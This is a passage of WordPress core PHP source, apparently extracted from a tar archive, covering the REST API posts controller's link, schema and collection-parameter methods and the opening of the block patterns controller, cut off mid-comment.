include: * * - `rest_prepare_post` * - `rest_prepare_page` * - `rest_prepare_attachment` * * @since 4.7.0 * * @param WP_REST_Response $response The response object. * @param WP_Post $post Post object. * @param WP_REST_Request $request Request object. */ return apply_filters( "rest_prepare_{$this->post_type}", $response, $post, $request ); } /** * Overwrites the default protected and private title format. * * By default, WordPress will show password protected or private posts with a title of * "Protected: %s" or "Private: %s", as the REST API communicates the status of a post * in a machine-readable format, we remove the prefix. * * @since 4.7.0 * * @return string Title format. */ public function protected_title_format() { return '%s'; } /** * Prepares links for the request. * * @since 4.7.0 * * @param WP_Post $post Post object. * @return array Links for the given post. */ protected function prepare_links( $post ) { // Entity meta. $links = array( 'self' => array( 'href' => rest_url( rest_get_route_for_post( $post->ID ) ), ), 'collection' => array( 'href' => rest_url( rest_get_route_for_post_type_items( $this->post_type ) ), ), 'about' => array( 'href' => rest_url( 'wp/v2/types/' . $this->post_type ), ), ); if ( ( in_array( $post->post_type, array( 'post', 'page' ), true ) || post_type_supports( $post->post_type, 'author' ) ) && ! empty( $post->post_author ) ) { $links['author'] = array( 'href' => rest_url( 'wp/v2/users/' . $post->post_author ), 'embeddable' => true, ); } if ( in_array( $post->post_type, array( 'post', 'page' ), true ) || post_type_supports( $post->post_type, 'comments' ) ) { $replies_url = rest_url( 'wp/v2/comments' ); $replies_url = add_query_arg( 'post', $post->ID, $replies_url ); $links['replies'] = array( 'href' => $replies_url, 'embeddable' => true, ); } if ( in_array( $post->post_type, array( 'post', 'page' ), true ) || post_type_supports( $post->post_type, 'revisions' ) ) { $revisions = wp_get_latest_revision_id_and_total_count( $post->ID ); $revisions_count = ! is_wp_error( $revisions ) ? $revisions['count'] : 0; $revisions_base = sprintf( '/%s/%s/%d/revisions', $this->namespace, $this->rest_base, $post->ID ); $links['version-history'] = array( 'href' => rest_url( $revisions_base ), 'count' => $revisions_count, ); if ( $revisions_count > 0 ) { $links['predecessor-version'] = array( 'href' => rest_url( $revisions_base . '/' . $revisions['latest_id'] ), 'id' => $revisions['latest_id'], ); } } $post_type_obj = get_post_type_object( $post->post_type ); if ( $post_type_obj->hierarchical && ! empty( $post->post_parent ) ) { $links['up'] = array( 'href' => rest_url( rest_get_route_for_post( $post->post_parent ) ), 'embeddable' => true, ); } // If we have a featured media, add that. $featured_media = get_post_thumbnail_id( $post->ID ); if ( $featured_media && ( 'publish' === get_post_status( $featured_media ) || current_user_can( 'read_post', $featured_media ) ) ) { $image_url = rest_url( rest_get_route_for_post( $featured_media ) ); $links['https://api.w.org/featuredmedia'] = array( 'href' => $image_url, 'embeddable' => true, ); } if ( ! in_array( $post->post_type, array( 'attachment', 'nav_menu_item', 'revision' ), true ) ) { $attachments_url = rest_url( rest_get_route_for_post_type_items( 'attachment' ) ); $attachments_url = add_query_arg( 'parent', $post->ID, $attachments_url ); $links['https://api.w.org/attachment'] = array( 'href' => $attachments_url, ); } $taxonomies = get_object_taxonomies( $post->post_type ); if ( ! empty( $taxonomies ) ) { $links['https://api.w.org/term'] = array(); foreach ( $taxonomies as $tax ) { $taxonomy_route = rest_get_route_for_taxonomy_items( $tax ); // Skip taxonomies that are not public. if ( empty( $taxonomy_route ) ) { continue; } $terms_url = add_query_arg( 'post', $post->ID, rest_url( $taxonomy_route ) ); $links['https://api.w.org/term'][] = array( 'href' => $terms_url, 'taxonomy' => $tax, 'embeddable' => true, ); } } return $links; } /** * Gets the link relations available for the post and current user. * * @since 4.9.8 * * @param WP_Post $post Post object. * @param WP_REST_Request $request Request object. * @return array List of link relations. */ protected function get_available_actions( $post, $request ) { if ( 'edit' !== $request['context'] ) { return array(); } $rels = array(); $post_type = get_post_type_object( $post->post_type ); if ( 'attachment' !== $this->post_type && current_user_can( $post_type->cap->publish_posts ) ) { $rels[] = 'https://api.w.org/action-publish'; } if ( current_user_can( 'unfiltered_html' ) ) { $rels[] = 'https://api.w.org/action-unfiltered-html'; } if ( 'post' === $post_type->name ) { if ( current_user_can( $post_type->cap->edit_others_posts ) && current_user_can( $post_type->cap->publish_posts ) ) { $rels[] = 'https://api.w.org/action-sticky'; } } if ( post_type_supports( $post_type->name, 'author' ) ) { if ( current_user_can( $post_type->cap->edit_others_posts ) ) { $rels[] = 'https://api.w.org/action-assign-author'; } } $taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) ); foreach ( $taxonomies as $tax ) { $tax_base = ! empty( $tax->rest_base ) ? $tax->rest_base : $tax->name; $create_cap = is_taxonomy_hierarchical( $tax->name ) ? $tax->cap->edit_terms : $tax->cap->assign_terms; if ( current_user_can( $create_cap ) ) { $rels[] = 'https://api.w.org/action-create-' . $tax_base; } if ( current_user_can( $tax->cap->assign_terms ) ) { $rels[] = 'https://api.w.org/action-assign-' . $tax_base; } } return $rels; } /** * Retrieves the post's schema, conforming to JSON Schema. * * @since 4.7.0 * * @return array Item schema data. * * @phpstan-return array{ * title: non-empty-string, * type: non-empty-string, * properties: array<string, array<string, mixed>>, * ... * } */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => $this->post_type, 'type' => 'object', // Base properties for every Post. 'properties' => array( 'date' => array( 'description' => __( "The date the post was published, in the site's timezone." ), 'type' => array( 'string', 'null' ), 'format' => 'date-time', 'context' => array( 'view', 'edit', 'embed' ), ), 'date_gmt' => array( 'description' => __( 'The date the post was published, as GMT.' ), 'type' => array( 'string', 'null' ), 'format' => 'date-time', 'context' => array( 'view', 'edit' ), ), 'guid' => array( 'description' => __( 'The globally unique identifier for the post.' ), 'type' => 'object', 'context' => array( 'view', 'edit' ), 'readonly' => true, 'properties' => array( 'raw' => array( 'description' => __( 'GUID for the post, as it exists in the database.' ), 'type' => 'string', 'context' => array( 'edit' ), 'readonly' => true, ), 'rendered' => array( 'description' => __( 'GUID for the post, transformed for display.' ), 'type' => 'string', 'context' => array( 'view', 'edit' ), 'readonly' => true, ), ), ), 'id' => array( 'description' => __( 'Unique identifier for the post.' ), 'type' => 'integer', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'link' => array( 'description' => __( 'URL to the post.' ), 'type' => 'string', 'format' => 'uri', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'modified' => array( 'description' => __( "The date the post was last modified, in the site's timezone." ), 'type' => 'string', 'format' => 'date-time', 'context' => array( 'view', 'edit' ), 'readonly' => true, ), 'modified_gmt' => array( 'description' => __( 'The date the post was last modified, as GMT.' ), 'type' => 'string', 'format' => 'date-time', 'context' => array( 'view', 'edit' ), 'readonly' => true, ), 'slug' => array( 'description' => __( 'An alphanumeric identifier for the post unique to its type.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'arg_options' => array( 'sanitize_callback' => array( $this, 'sanitize_slug' ), ), ), 'status' => array( 'description' => __( 'A named status for the post.' ), 'type' => 'string', 'enum' => array_keys( get_post_stati( array( 'internal' => false ) ) ), 'context' => array( 'view', 'edit' ), 'arg_options' => array( 'validate_callback' => array( $this, 'check_status' ), ), ), 'type' => array( 'description' => __( 'Type of post.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'password' => array( 'description' => __( 'A password to protect access to the content and excerpt.' ), 'type' => 'string', 'context' => array( 'edit' ), ), ), ); $post_type_obj = get_post_type_object( $this->post_type ); if ( is_post_type_viewable( $post_type_obj ) && $post_type_obj->public ) { $schema['properties']['permalink_template'] = array( 'description' => __( 'Permalink template for the post.' ), 'type' => 'string', 'context' => array( 'edit' ), 'readonly' => true, ); $schema['properties']['generated_slug'] = array( 'description' => __( 'Slug automatically generated from the post title.' ), 'type' => 'string', 'context' => array( 'edit' ), 'readonly' => true, ); $schema['properties']['class_list'] = array( 'description' => __( 'An array of the class names for the post container element.' ), 'type' => 'array', 'context' => array( 'view', 'edit' ), 'readonly' => true, 'items' => array( 'type' => 'string', ), ); } if ( $post_type_obj->hierarchical ) { $schema['properties']['parent'] = array( 'description' => __( 'The ID for the parent of the post.' ), 'type' => 'integer', 'context' => array( 'view', 'edit' ), ); } $post_type_attributes = array( 'title', 'editor', 'author', 'excerpt', 'thumbnail', 'comments', 'revisions', 'page-attributes', 'post-formats', 'custom-fields', ); $fixed_schemas = array( 'post' => array( 'title', 'editor', 'author', 'excerpt', 'thumbnail', 'comments', 'revisions', 'post-formats', 'custom-fields', ), 'page' => array( 'title', 'editor', 'author', 'excerpt', 'thumbnail', 'comments', 'revisions', 'page-attributes', 'custom-fields', ), 'attachment' => array( 'title', 'author', 'comments', 'revisions', 'custom-fields', 'thumbnail', ), ); foreach ( $post_type_attributes as $attribute ) { if ( isset( $fixed_schemas[ $this->post_type ] ) && ! in_array( $attribute, $fixed_schemas[ $this->post_type ], true ) ) { continue; } elseif ( ! isset( $fixed_schemas[ $this->post_type ] ) && ! post_type_supports( $this->post_type, $attribute ) ) { continue; } switch ( $attribute ) { case 'title': $schema['properties']['title'] = array( 'description' => __( 'The title for the post.' ), 'type' => 'object', 'context' => array( 'view', 'edit', 'embed' ), 'arg_options' => array( 'sanitize_callback' => null, // Note: sanitization implemented in self::prepare_item_for_database(). 'validate_callback' => null, // Note: validation implemented in self::prepare_item_for_database(). ), 'properties' => array( 'raw' => array( 'description' => __( 'Title for the post, as it exists in the database.' ), 'type' => 'string', 'context' => array( 'edit' ), ), 'rendered' => array( 'description' => __( 'HTML title for the post, transformed for display.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), ), ); break; case 'editor': $schema['properties']['content'] = array( 'description' => __( 'The content for the post.' ), 'type' => 'object', 'context' => array( 'view', 'edit' ), 'arg_options' => array( 'sanitize_callback' => null, // Note: sanitization implemented in self::prepare_item_for_database(). 'validate_callback' => null, // Note: validation implemented in self::prepare_item_for_database(). ), 'properties' => array( 'raw' => array( 'description' => __( 'Content for the post, as it exists in the database.' ), 'type' => 'string', 'context' => array( 'edit' ), ), 'rendered' => array( 'description' => __( 'HTML content for the post, transformed for display.' ), 'type' => 'string', 'context' => array( 'view', 'edit' ), 'readonly' => true, ), 'block_version' => array( 'description' => __( 'Version of the content block format used by the post.' ), 'type' => 'integer', 'context' => array( 'edit' ), 'readonly' => true, ), 'protected' => array( 'description' => __( 'Whether the content is protected with a password.' ), 'type' => 'boolean', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), ), ); break; case 'author': $schema['properties']['author'] = array( 'description' => __( 'The ID for the author of the post.' ), 'type' => 'integer', 'context' => array( 'view', 'edit', 'embed' ), ); break; case 'excerpt': $schema['properties']['excerpt'] = array( 'description' => __( 'The excerpt for the post.' ), 'type' => 'object', 'context' => array( 'view', 'edit', 'embed' ), 'arg_options' => array( 'sanitize_callback' => null, // Note: sanitization implemented in self::prepare_item_for_database(). 'validate_callback' => null, // Note: validation implemented in self::prepare_item_for_database(). ), 'properties' => array( 'raw' => array( 'description' => __( 'Excerpt for the post, as it exists in the database.' ), 'type' => 'string', 'context' => array( 'edit' ), ), 'rendered' => array( 'description' => __( 'HTML excerpt for the post, transformed for display.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'protected' => array( 'description' => __( 'Whether the excerpt is protected with a password.' ), 'type' => 'boolean', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), ), ); break; case 'thumbnail': $schema['properties']['featured_media'] = array( 'description' => __( 'The ID of the featured media for the post.' ), 'type' => 'integer', 'context' => array( 'view', 'edit', 'embed' ), ); break; case 'comments': $schema['properties']['comment_status'] = array( 'description' => __( 'Whether or not comments are open on the post.' ), 'type' => 'string', 'enum' => array( 'open', 'closed' ), 'context' => array( 'view', 'edit' ), ); $schema['properties']['ping_status'] = array( 'description' => __( 'Whether or not the post can be pinged.' ), 'type' => 'string', 'enum' => array( 'open', 'closed' ), 'context' => array( 'view', 'edit' ), ); break; case 'page-attributes': $schema['properties']['menu_order'] = array( 'description' => __( 'The order of the post in relation to other posts.' ), 'type' => 'integer', 'context' => array( 'view', 'edit' ), ); break; case 'post-formats': // Get the native post formats and remove the array keys. $formats = array_values( get_post_format_slugs() ); $schema['properties']['format'] = array( 'description' => __( 'The format for the post.' ), 'type' => 'string', 'enum' => $formats, 'context' => array( 'view', 'edit' ), ); break; case 'custom-fields': $schema['properties']['meta'] = $this->meta->get_field_schema(); break; } } if ( 'post' === $this->post_type ) { $schema['properties']['sticky'] = array( 'description' => __( 'Whether or not the post should be treated as sticky.' ), 'type' => 'boolean', 'context' => array( 'view', 'edit' ), ); } $schema['properties']['template'] = array( 'description' => __( 'The theme file to use to display the post.' ), 'type' => 'string', 'context' => array( 'view', 'edit' ), 'arg_options' => array( 'validate_callback' => array( $this, 'check_template' ), ), ); $taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) ); foreach ( $taxonomies as $taxonomy ) { $base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name; if ( array_key_exists( $base, $schema['properties'] ) ) { $taxonomy_field_name_with_conflict = ! empty( $taxonomy->rest_base ) ? 'rest_base' : 'name'; _doing_it_wrong( 'register_taxonomy', sprintf( /* translators: 1: The taxonomy name, 2: The property name, either 'rest_base' or 'name', 3: The conflicting value. */ __( 'The "%1$s" taxonomy "%2$s" property (%3$s) conflicts with an existing property on the REST API Posts Controller. Specify a custom "rest_base" when registering the taxonomy to avoid this error.' ), $taxonomy->name, $taxonomy_field_name_with_conflict, $base ), '5.4.0' ); } $schema['properties'][ $base ] = array( /* translators: %s: Taxonomy name. */ 'description' => sprintf( __( 'The terms assigned to the post in the %s taxonomy.' ), $taxonomy->name ), 'type' => 'array', 'items' => array( 'type' => 'integer', ), 'context' => array( 'view', 'edit' ), ); } $schema_links = $this->get_schema_links(); if ( $schema_links ) { $schema['links'] = $schema_links; } // Take a snapshot of which fields are in the schema pre-filtering. $schema_fields = array_keys( $schema['properties'] ); /** * Filters the post's schema. * * The dynamic portion of the filter, `$this->post_type`, refers to the * post type slug for the controller. * * Possible hook names include: * * - `rest_post_item_schema` * - `rest_page_item_schema` * - `rest_attachment_item_schema` * * @since 5.4.0 * * @param array $schema Item schema data. */ $schema = apply_filters( "rest_{$this->post_type}_item_schema", $schema ); // Emit a _doing_it_wrong warning if user tries to add new properties using this filter. $new_fields = array_diff( array_keys( $schema['properties'] ), $schema_fields ); if ( count( $new_fields ) > 0 ) { _doing_it_wrong( __METHOD__, sprintf( /* translators: %s: register_rest_field */ __( 'Please use %s to add new schema properties.' ), 'register_rest_field' ), '5.4.0' ); } $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } /** * Retrieves Link Description Objects that should be added to the Schema for the posts collection. * * @since 4.9.8 * * @return array */ protected function get_schema_links() { $href = rest_url( "{$this->namespace}/{$this->rest_base}/{id}" ); $links = array(); if ( 'attachment' !== $this->post_type ) { $links[] = array( 'rel' => 'https://api.w.org/action-publish', 'title' => __( 'The current user can publish this post.' ), 'href' => $href, 'targetSchema' => array( 'type' => 'object', 'properties' => array( 'status' => array( 'type' => 'string', 'enum' => array( 'publish', 'future' ), ), ), ), ); } $links[] = array( 'rel' => 'https://api.w.org/action-unfiltered-html', 'title' => __( 'The current user can post unfiltered HTML markup and JavaScript.' ), 'href' => $href, 'targetSchema' => array( 'type' => 'object', 'properties' => array( 'content' => array( 'raw' => array( 'type' => 'string', ), ), ), ), ); if ( 'post' === $this->post_type ) { $links[] = array( 'rel' => 'https://api.w.org/action-sticky', 'title' => __( 'The current user can sticky this post.' ), 'href' => $href, 'targetSchema' => array( 'type' => 'object', 'properties' => array( 'sticky' => array( 'type' => 'boolean', ), ), ), ); } if ( post_type_supports( $this->post_type, 'author' ) ) { $links[] = array( 'rel' => 'https://api.w.org/action-assign-author', 'title' => __( 'The current user can change the author on this post.' ), 'href' => $href, 'targetSchema' => array( 'type' => 'object', 'properties' => array( 'author' => array( 'type' => 'integer', ), ), ), ); } $taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) ); foreach ( $taxonomies as $tax ) { $tax_base = ! empty( $tax->rest_base ) ? $tax->rest_base : $tax->name; /* translators: %s: Taxonomy name. */ $assign_title = sprintf( __( 'The current user can assign terms in the %s taxonomy.' ), $tax->name ); /* translators: %s: Taxonomy name. */ $create_title = sprintf( __( 'The current user can create terms in the %s taxonomy.' ), $tax->name ); $links[] = array( 'rel' => 'https://api.w.org/action-assign-' . $tax_base, 'title' => $assign_title, 'href' => $href, 'targetSchema' => array( 'type' => 'object', 'properties' => array( $tax_base => array( 'type' => 'array', 'items' => array( 'type' => 'integer', ), ), ), ), ); $links[] = array( 'rel' => 'https://api.w.org/action-create-' . $tax_base, 'title' => $create_title, 'href' => $href, 'targetSchema' => array( 'type' => 'object', 'properties' => array( $tax_base => array( 'type' => 'array', 'items' => array( 'type' => 'integer', ), ), ), ), ); } return $links; } /** * Retrieves the query params for the posts collection. * * @since 4.7.0 * @since 5.4.0 The `tax_relation` query parameter was added. * @since 5.7.0 The `modified_after` and `modified_before` query parameters were added. * * @return array Collection parameters. */ public function get_collection_params() { $query_params = parent::get_collection_params(); $query_params['context']['default'] = 'view'; $query_params['after'] = array( 'description' => __( 'Limit response to posts published after a given ISO8601 compliant date.' ), 'type' => 'string', 'format' => 'date-time', ); $query_params['modified_after'] = array( 'description' => __( 'Limit response to posts modified after a given ISO8601 compliant date.' ), 'type' => 'string', 'format' => 'date-time', ); if ( post_type_supports( $this->post_type, 'author' ) ) { $query_params['author'] = array( 'description' => __( 'Limit result set to posts assigned to specific authors.' ), 'type' => 'array', 'items' => array( 'type' => 'integer', ), 'default' => array(), ); $query_params['author_exclude'] = array( 'description' => __( 'Ensure result set excludes posts assigned to specific authors.' ), 'type' => 'array', 'items' => array( 'type' => 'integer', ), 'default' => array(), ); } $query_params['before'] = array( 'description' => __( 'Limit response to posts published before a given ISO8601 compliant date.' ), 'type' => 'string', 'format' => 'date-time', ); $query_params['modified_before'] = array( 'description' => __( 'Limit response to posts modified before a given ISO8601 compliant date.' ), 'type' => 'string', 'format' => 'date-time', ); $query_params['exclude'] = array( 'description' => __( 'Ensure result set excludes specific IDs.' ), 'type' => 'array', 'items' => array( 'type' => 'integer', ), 'default' => array(), ); $query_params['include'] = array( 'description' => __( 'Limit result set to specific IDs.' ), 'type' => 'array', 'items' => array( 'type' => 'integer', ), 'default' => array(), ); if ( 'page' === $this->post_type || post_type_supports( $this->post_type, 'page-attributes' ) ) { $query_params['menu_order'] = array( 'description' => __( 'Limit result set to posts with a specific menu_order value.' ), 'type' => 'integer', ); } $query_params['search_semantics'] = array( 'description' => __( 'How to interpret the search input.' ), 'type' => 'string', 'enum' => array( 'exact' ), ); $query_params['offset'] = array( 'description' => __( 'Offset the result set by a specific number of items.' ), 'type' => 'integer', ); $query_params['order'] = array( 'description' => __( 'Order sort attribute ascending or descending.' ), 'type' => 'string', 'default' => 'desc', 'enum' => array( 'asc', 'desc' ), ); $query_params['orderby'] = array( 'description' => __( 'Sort collection by post attribute.' ), 'type' => 'string', 'default' => 'date', 'enum' => array( 'author', 'date', 'id', 'include', 'modified', 'parent', 'relevance', 'slug', 'include_slugs', 'title', ), ); if ( 'page' === $this->post_type || post_type_supports( $this->post_type, 'page-attributes' ) ) { $query_params['orderby']['enum'][] = 'menu_order'; } $post_type = get_post_type_object( $this->post_type ); if ( $post_type->hierarchical || 'attachment' === $this->post_type ) { $query_params['parent'] = array( 'description' => __( 'Limit result set to items with particular parent IDs.' ), 'type' => 'array', 'items' => array( 'type' => 'integer', ), 'default' => array(), ); $query_params['parent_exclude'] = array( 'description' => __( 'Limit result set to all items except those of a particular parent ID.' ), 'type' => 'array', 'items' => array( 'type' => 'integer', ), 'default' => array(), ); } $query_params['search_columns'] = array( 'default' => array(), 'description' => __( 'Array of column names to be searched.' ), 'type' => 'array', 'items' => array( 'enum' => array( 'post_title', 'post_content', 'post_excerpt' ), 'type' => 'string', ), ); $query_params['slug'] = array( 'description' => __( 'Limit result set to posts with one or more specific slugs.' ), 'type' => 'array', 'items' => array( 'type' => 'string', ), ); $query_params['status'] = array( 'default' => 'publish', 'description' => __( 'Limit result set to posts assigned one or more statuses.' ), 'type' => 'array', 'items' => array( 'enum' => array_merge( array_keys( get_post_stati() ), array( 'any' ) ), 'type' => 'string', ), 'sanitize_callback' => array( $this, 'sanitize_post_statuses' ), ); $query_params = $this->prepare_taxonomy_limit_schema( $query_params ); if ( 'post' === $this->post_type ) { $query_params['sticky'] = array( 'description' => __( 'Limit result set to items that are sticky.' ), 'type' => 'boolean', ); $query_params['ignore_sticky'] = array( 'description' => __( 'Whether to ignore sticky posts or not.' ), 'type' => 'boolean', 'default' => true, ); } if ( post_type_supports( $this->post_type, 'post-formats' ) ) { $query_params['format'] = array( 'description' => __( 'Limit result set to items assigned one or more given formats.' ), 'type' => 'array', 'uniqueItems' => true, 'items' => array( 'enum' => array_values( get_post_format_slugs() ), 'type' => 'string', ), ); } /** * Filters collection parameters for the posts controller. * * The dynamic part of the filter `$this->post_type` refers to the post * type slug for the controller. * * This filter registers the collection parameter, but does not map the * collection parameter to an internal WP_Query parameter. Use the * `rest_{$this->post_type}_query` filter to set WP_Query parameters. * * @since 4.7.0 * * @param array $query_params JSON Schema-formatted collection parameters. * @param WP_Post_Type $post_type Post type object. */ return apply_filters( "rest_{$this->post_type}_collection_params", $query_params, $post_type ); } /** * Sanitizes and validates the list of post statuses, including whether the * user can query private statuses. * * @since 4.7.0 * * @param string|array $statuses One or more post statuses. * @param WP_REST_Request $request Full details about the request. * @param string $parameter Additional parameter to pass to validation. * @return array|WP_Error A list of valid statuses, otherwise WP_Error object. */ public function sanitize_post_statuses( $statuses, $request, $parameter ) { $statuses = wp_parse_slug_list( $statuses ); // The default status is different in WP_REST_Attachments_Controller. $attributes = $request->get_attributes(); $default_status = $attributes['args']['status']['default']; foreach ( $statuses as $status ) { if ( $status === $default_status ) { continue; } $post_type_obj = get_post_type_object( $this->post_type ); if ( current_user_can( $post_type_obj->cap->edit_posts ) || 'private' === $status && current_user_can( $post_type_obj->cap->read_private_posts ) ) { $result = rest_validate_request_arg( $status, $request, $parameter ); if ( is_wp_error( $result ) ) { return $result; } } else { return new WP_Error( 'rest_forbidden_status', __( 'Status is forbidden.' ), array( 'status' => rest_authorization_required_code() ) ); } } return $statuses; } /** * Prepares the 'tax_query' for a collection of posts. * * @since 5.7.0 * * @param array $args WP_Query arguments. * @param WP_REST_Request $request Full details about the request. * @return array Updated query arguments. */ private function prepare_tax_query( array $args, WP_REST_Request $request ) { $relation = $request['tax_relation']; if ( $relation ) { $args['tax_query'] = array( 'relation' => $relation ); } $taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) ); foreach ( $taxonomies as $taxonomy ) { $base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name; $tax_include = $request[ $base ]; $tax_exclude = $request[ $base . '_exclude' ]; if ( $tax_include ) { $terms = array(); $include_children = false; $operator = 'IN'; if ( rest_is_array( $tax_include ) ) { $terms = $tax_include; } elseif ( rest_is_object( $tax_include ) ) { $terms = empty( $tax_include['terms'] ) ? array() : $tax_include['terms']; $include_children = ! empty( $tax_include['include_children'] ); if ( isset( $tax_include['operator'] ) && 'AND' === $tax_include['operator'] ) { $operator = 'AND'; } } if ( $terms ) { $args['tax_query'][] = array( 'taxonomy' => $taxonomy->name, 'field' => 'term_id', 'terms' => $terms, 'include_children' => $include_children, 'operator' => $operator, ); } } if ( $tax_exclude ) { $terms = array(); $include_children = false; if ( rest_is_array( $tax_exclude ) ) { $terms = $tax_exclude; } elseif ( rest_is_object( $tax_exclude ) ) { $terms = empty( $tax_exclude['terms'] ) ? array() : $tax_exclude['terms']; $include_children = ! empty( $tax_exclude['include_children'] ); } if ( $terms ) { $args['tax_query'][] = array( 'taxonomy' => $taxonomy->name, 'field' => 'term_id', 'terms' => $terms, 'include_children' => $include_children, 'operator' => 'NOT IN', ); } } } return $args; } /** * Prepares the collection schema for including and excluding items by terms. * * @since 5.7.0 * * @param array $query_params Collection schema. * @return array Updated schema. */ private function prepare_taxonomy_limit_schema( array $query_params ) { $taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) ); if ( ! $taxonomies ) { return $query_params; } $query_params['tax_relation'] = array( 'description' => __( 'Limit result set based on relationship between multiple taxonomies.' ), 'type' => 'string', 'enum' => array( 'AND', 'OR' ), ); $limit_schema = array( 'type' => array( 'object', 'array' ), 'oneOf' => array( array( 'title' => __( 'Term ID List' ), 'description' => __( 'Match terms with the listed IDs.' ), 'type' => 'array', 'items' => array( 'type' => 'integer', ), ), array( 'title' => __( 'Term ID Taxonomy Query' ), 'description' => __( 'Perform an advanced term query.' ), 'type' => 'object', 'properties' => array( 'terms' => array( 'description' => __( 'Term IDs.' ), 'type' => 'array', 'items' => array( 'type' => 'integer', ), 'default' => array(), ), 'include_children' => array( 'description' => __( 'Whether to include child terms in the terms limiting the result set.' ), 'type' => 'boolean', 'default' => false, ), ), 'additionalProperties' => false, ), ), ); $include_schema = array_merge( array( /* translators: %s: Taxonomy name. */ 'description' => __( 'Limit result set to items with specific terms assigned in the %s taxonomy.' ), ), $limit_schema ); // 'operator' is supported only for 'include' queries. $include_schema['oneOf'][1]['properties']['operator'] = array( 'description' => __( 'Whether items must be assigned all or any of the specified terms.' ), 'type' => 'string', 'enum' => array( 'AND', 'OR' ), 'default' => 'OR', ); $exclude_schema = array_merge( array( /* translators: %s: Taxonomy name. */ 'description' => __( 'Limit result set to items except those with specific terms assigned in the %s taxonomy.' ), ), $limit_schema ); foreach ( $taxonomies as $taxonomy ) { $base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name; $base_exclude = $base . '_exclude'; $query_params[ $base ] = $include_schema; $query_params[ $base ]['description'] = sprintf( $query_params[ $base ]['description'], $base ); $query_params[ $base_exclude ] = $exclude_schema; $query_params[ $base_exclude ]['description'] = sprintf( $query_params[ $base_exclude ]['description'], $base ); if ( ! $taxonomy->hierarchical ) { unset( $query_params[ $base ]['oneOf'][1]['properties']['include_children'] ); unset( $query_params[ $base_exclude ]['oneOf'][1]['properties']['include_children'] ); } } return $query_params; } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-rest-block-patterns-controller.php���������������������������������������������������������0000644�����������������00000022120�15250636727�0015102 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * REST API: WP_REST_Block_Patterns_Controller class * * @package WordPress * @subpackage REST_API * @since 6.0.0 */ /** * Core class used to access block patterns via the REST API. * * @since 6.0.0 * * @see WP_REST_Controller */ class WP_REST_Block_Patterns_Controller extends WP_REST_Controller { /** * Defines whether remote patterns should be loaded. * * @since 6.0.0 * @var bool */ private $remote_patterns_loaded; /** * An array that maps old categories names to new ones. * * @since 6.2.0 * @var array */ protected static $categories_migration = array( 'buttons' => 'call-to-action', 'columns' => 'text', 'query' => 'posts', ); /** * Constructs the controller. * * @since 6.0.0 */ public function __construct() { $this->namespace = 'wp/v2'; $this->rest_base = 'block-patterns/patterns'; } /** * Registers the routes for the objects of the controller. * * @since 6.0.0 */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Checks whether a given request has permission to read block patterns. * * @since 6.0.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_items_permissions_check( $request ) { if ( current_user_can( 'edit_posts' ) ) { return true; } foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) { if ( current_user_can( $post_type->cap->edit_posts ) ) { return true; } } return new WP_Error( 'rest_cannot_view', __( 'Sorry, you are not allowed to view the registered block patterns.' ), array( 'status' => rest_authorization_required_code() ) ); } /** * Retrieves all block patterns. * * @since 6.0.0 * @since 6.2.0 Added migration for old core pattern categories to the new ones. * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_items( $request ) { if ( ! $this->remote_patterns_loaded ) { // Load block patterns from w.org. _load_remote_block_patterns(); // Patterns with the `core` keyword. _load_remote_featured_patterns(); // Patterns in the `featured` category. _register_remote_theme_patterns(); // Patterns requested by current theme. $this->remote_patterns_loaded = true; } $response = array(); $patterns = WP_Block_Patterns_Registry::get_instance()->get_all_registered(); foreach ( $patterns as $pattern ) { $migrated_pattern = $this->migrate_pattern_categories( $pattern ); $prepared_pattern = $this->prepare_item_for_response( $migrated_pattern, $request ); $response[] = $this->prepare_response_for_collection( $prepared_pattern ); } return rest_ensure_response( $response ); } /** * Migrates old core pattern categories to the new categories. * * Core pattern categories are revamped. Migration is needed to ensure * backwards compatibility. * * @since 6.2.0 * * @param array $pattern Raw pattern as registered, before applying any changes. * @return array Migrated pattern. */ protected function migrate_pattern_categories( $pattern ) { // No categories to migrate. if ( ! isset( $pattern['categories'] ) || ! is_array( $pattern['categories'] ) ) { return $pattern; } foreach ( $pattern['categories'] as $index => $category ) { // If the category exists as a key, then it needs migration. if ( isset( static::$categories_migration[ $category ] ) ) { $pattern['categories'][ $index ] = static::$categories_migration[ $category ]; } } return $pattern; } /** * Prepare a raw block pattern before it gets output in a REST API response. * * @since 6.0.0 * @since 6.3.0 Added `source` 